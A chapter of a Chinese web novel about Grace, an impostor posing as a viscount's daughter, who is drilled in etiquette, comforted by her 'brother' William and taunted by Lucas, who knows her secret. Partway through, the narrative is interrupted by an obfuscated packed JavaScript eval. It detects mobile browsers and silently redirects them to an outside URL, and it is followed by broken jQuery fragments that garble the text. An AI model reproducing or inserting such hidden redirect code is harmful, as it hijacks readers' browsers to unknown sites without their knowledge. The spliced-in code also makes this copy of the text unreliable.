礼仪不过是优雅的虚伪。


    ——《不可儿戏》


    格蕾丝咬紧牙关。


    她知道接下来会发生什么，这已经是本周第三次了。


    藤条抽在小臂上的疼痛比预想的更剧烈，她死死咬住下唇才没叫出声来。


    “挺直脊背！”威尔逊女士厉声道，“一位子爵小姐不会像市集上的鱼贩那样弓着背走路！”


    几乎一整个上午都在重复着枯燥的行走、行礼、坐姿训练。


    格蕾丝的膝盖因为不断屈膝而隐隐作痛，后背的肌肉也因长时间保持挺直而痉挛。


    当威尔逊女士终于宣布午休的时候，她的衬衣已经被汗水浸了个透。


    走廊里传来脚步声。


    格蕾丝抬头，看见威廉·埃斯特站在门口。阳光从他背后照进来，在地板上投下修长的影子。他身穿着深棕色的骑马装，手里还拿着马鞭，显然是刚从外面回来。


    “威尔逊女士，”威廉的声音带着贵族特有的那种温和却不容置疑的语调，“我想父亲应该说过，格蕾丝小姐的课程进度可以适当放缓。”


    威尔逊女士的嘴唇抿成一条细线：“威廉少爷，子爵夫人明确要求——”


    “我会亲自向母亲解释。”


    威廉打断她，目光落在格蕾丝红肿的手背上，眉头几不可察地皱了一下，“格蕾丝，能和我到花园走走吗？”


    冬日里的花园还带着几分寒意，小块小块的雪堆积在树叶上，但阳光已经足够温暖。


    格蕾丝始终保持在威廉身后半步的距离，走了会儿，她的思绪开始漫无目的地开始神游，思考着等下该如何拿到厨房那份属于自己的午餐，瑞娜已经连续好几天没有取到足够分量的午餐了。


    “你不必忍受这些。”


    威廉突然停下脚步，转身看着她，“我知道母亲和妹妹们对你的态度，但父亲既然承认了你的身份，你就该得到应有的尊重。”


    格蕾丝惊醒了过来，思绪一转，垂下了眼睛，长长的睫毛在脸上投下小小的一片阴影。


    她回答道：“谢谢您的关心，威廉少爷。但我确实需要学习这些……毕竟我以前的生活……”


    “叫我威廉就好。”


    他将声音尽力柔和了下来，“毕竟我们是亲兄妹，不是吗？”


    格蕾丝抬起头，第一次认真打量这个名义上的兄长。


    他的眼睛是埃斯特家特有的松石绿，眼中的翠色较他的两个妹妹玛格丽特和凯瑟琳更深沉，宛如一汪碧绿幽深的潭水，下巴的线条则坚毅，与子爵如出一辙。不出意外，再过几年，他也会长成一位绅士英俊的男性。


    一种复杂的情绪在她心中翻涌，这个真诚的年轻人正把她当作血脉相连的亲人，而她却……


    “你的手。”


    威廉突然握住她的手腕。


    格蕾丝本能地想抽回手，却被他小心地托住，“威尔逊女士做得是太过了，我会与母亲商议，等会儿管家会给你送些膏药。”


    “你穿这件衣服很合适，很漂亮，你该多出来活动活动。”威廉顿了顿说。


    他的手掌温暖干燥，与格蕾丝记忆中那个在冬日里安慰她的少年重叠在一起。


    格蕾丝突然感到一阵窒息般的愧疚。


    她迟疑着尝试开口：“其实您不必……”


    “威廉少爷！”


    管家的声音从远处传来，“子爵大人找您，关于下个月的狩猎聚会。”


    威廉松开手，对格蕾丝歉意地笑了笑：“晚些时候我再来看你。”


    他转身离去。


    格蕾丝独自站在花园里，阵阵洌风吹拂起她额前的碎发。她抬起手腕，低头看着刚刚被威廉握过的地方，那里似乎还残留着温度。


    威廉的善意是个意外也是预料之中，她思考着到底要不要利用他。接近家族继承人意味着接近权力中心，也接近她复仇计划的核心。


    “看来你的表演很成功。”


    格蕾丝猛地转身。卢卡斯·霍华德不知何时出现在她身后，靠在一棵修剪成球状的灌木上，脸上挂着惯常的玩世不恭的笑容。


    “我不知道你在说什么。”格蕾丝冷静地说，同时迅速环顾四周确认没有旁人。


    卢卡斯轻笑一声：“得了吧，格蕾丝。或者我该叫你……冒牌货？”


    格蕾丝的心跳漏了一拍，但她的表情丝毫未变：“如果你来是为了威胁我……”


    “威胁？”卢卡斯夸张地捂住胸口，“你伤了我的心。我是来祝贺你的。子爵承认了你的身份，威廉少爷对你青睐有加……相当了不起的成就，考虑到你的……真实情况。”


    他走近一步，声音压低：“我只是好奇，当威廉知道他悉心教导的‘妹妹’其实是个骗子时，会作何反应？”


    格蕾丝直视他的眼睛：“你想要什么？”


    卢卡斯微笑说：“什么也不，我亲爱的格蕾丝。”


    他看了看怀表说道：“时间到了。我们下次见，亲爱的骗子小姐。”


    不等格蕾丝回应，卢卡斯就转身离开了，他的脚步声很快消失在花园小径上。


    回到房间后，格蕾丝发现梳妆台上多了一个小巧的瓷盒。


    打开后，一股淡淡的药香飘散出来。


    盒子里装着淡绿色的药膏，旁边压着一张字条：“每日三次，有助于消肿。——威廉”


    格蕾丝将字条取下，放入抽屉里折叠收好，这是为数不多的真正属于她的东西。


    *


    第二天，清晨的阳光仍旧如昨日一般透过窗帘的缝隙洒进房间。相较于昨日的时间，格蕾丝已经穿戴整齐地坐在梳妆台前，等待着瑞娜为她梳理那头过于浓密的栗色长发。


    “格蕾丝小姐，您今天想梳什么样的发型？”瑞娜问道，手指熟练地将一绺头发挽起。


    格蕾丝注视着镜中的自己，经过修养后的脸比起之前好上了许多，痘疤几乎全都消失不见了，唯有左脸那个疤痕，用了许多方法都难以彻底消除。这张脸庞上，这具身体中，或许最讨喜的只剩下这双浅褐色的眼睛了，格蕾丝心想。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599206|171995||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “随你喜欢吧。”她轻声回答。


    头发还未梳理完毕，门外就响起了敲门声。


    格蕾丝和瑞娜交换了一个疑惑的眼神。这个点，应该还没到女管家梅德夫人平日里过来的时间。


    "请进。"格蕾丝说道。


    门开了，站在门口的却是一个高瘦的男人，穿着贴身的仆装，领口和袖口都熨烫得一丝不苟。格蕾丝立刻认出了他，他是威廉的贴身男仆约翰。疑惑充满了她的内心，但脸上已经迅速挂上了礼貌的微笑。


    “早上好，约翰先生。”她微微颔首。


    约翰站在门口，面上带着恭敬的表情。“格蕾丝小姐，威廉少爷请您今天去他的书房上礼仪课。”他的声音平稳，眼神下垂不与格蕾丝对视。


    “真是荣幸。”格蕾丝站起身，整理了一下裙摆，“请带路吧，约翰先生。”


    走出房门时，格蕾丝刻意落后约翰半步，让瑞娜跟在身后。走廊里铺着厚实的地毯，他们的脚步声被完全吸收。格蕾丝的目光落在约翰的后背上，眼神中闪过一丝鄙夷。


    这个在威廉感染天花时躲得远远的懦夫，现在居然还能站在这里，继续做他的贴身男仆？格蕾丝在心里冷笑。如果是她，早就把这种不忠的仆人赶出府邸了，威廉果然太过仁慈。


    “小姐？”瑞娜小声提醒，格蕾丝这才发现自己走神了。她迅速调整表情，重新挂上那副温顺的面具。


    约翰在一扇橡木门前停下，轻轻敲了两下。


    “请进。”门内传来熟悉的男声。


    约翰推开门，侧身让格蕾丝先行。她深吸一口气，迈步走进了书房。


    威廉的书房比她想象中的要宽敞许多。书房三面墙打满了木制书架，里边满满当当地塞满了各类用皮革作封面的书籍，书籍看上去并不大新，但是很干净，显然有人常常打扫。书房的正中央是一张宽大的红木书桌，上面整齐地摆放着几叠文件、一瓶墨水瓶和一支细长羽毛笔。阳光透过高大的落地窗洒进来，房间透亮。


    威廉坐在书桌前办公，听到脚步声，他抬起了头。见到格蕾丝的瞬间，他的嘴角就弯起了微笑，但是并非是惯常的那种，具体是什么样的笑容，格蕾丝觉得有些难以形容，但是确认比平日里所见到的那些温暖许多，或许是今日的阳光特别明亮的缘故吧，格蕾丝心想。他今天穿着一件墨绿色的外衣，与他的深绿的瞳色相衬，显得很漂亮。尽管只比格蕾丝年长五岁，但他看起来已经十分沉稳。


    “格蕾丝，早上好。”威廉向她走来。


    格蕾丝立刻行了一个标准的屈膝礼，头低垂着，姿态谦卑。“早上好，威廉哥哥。感谢您亲自教导我礼仪。”


    威廉伸手虚扶了一下，“我想我们之间不必这么拘礼，起来吧。再让你行礼你肯定偷偷在心里骂我呢。”他的目光扫过格蕾丝的发顶，似乎能看透她精心维持的表面恭敬。


    格蕾丝直起身，但眼睛仍然低垂，不与威廉对视。


    “坐吧。”威廉指了指书桌前的一把椅子，“我们今天从最基本的开始。”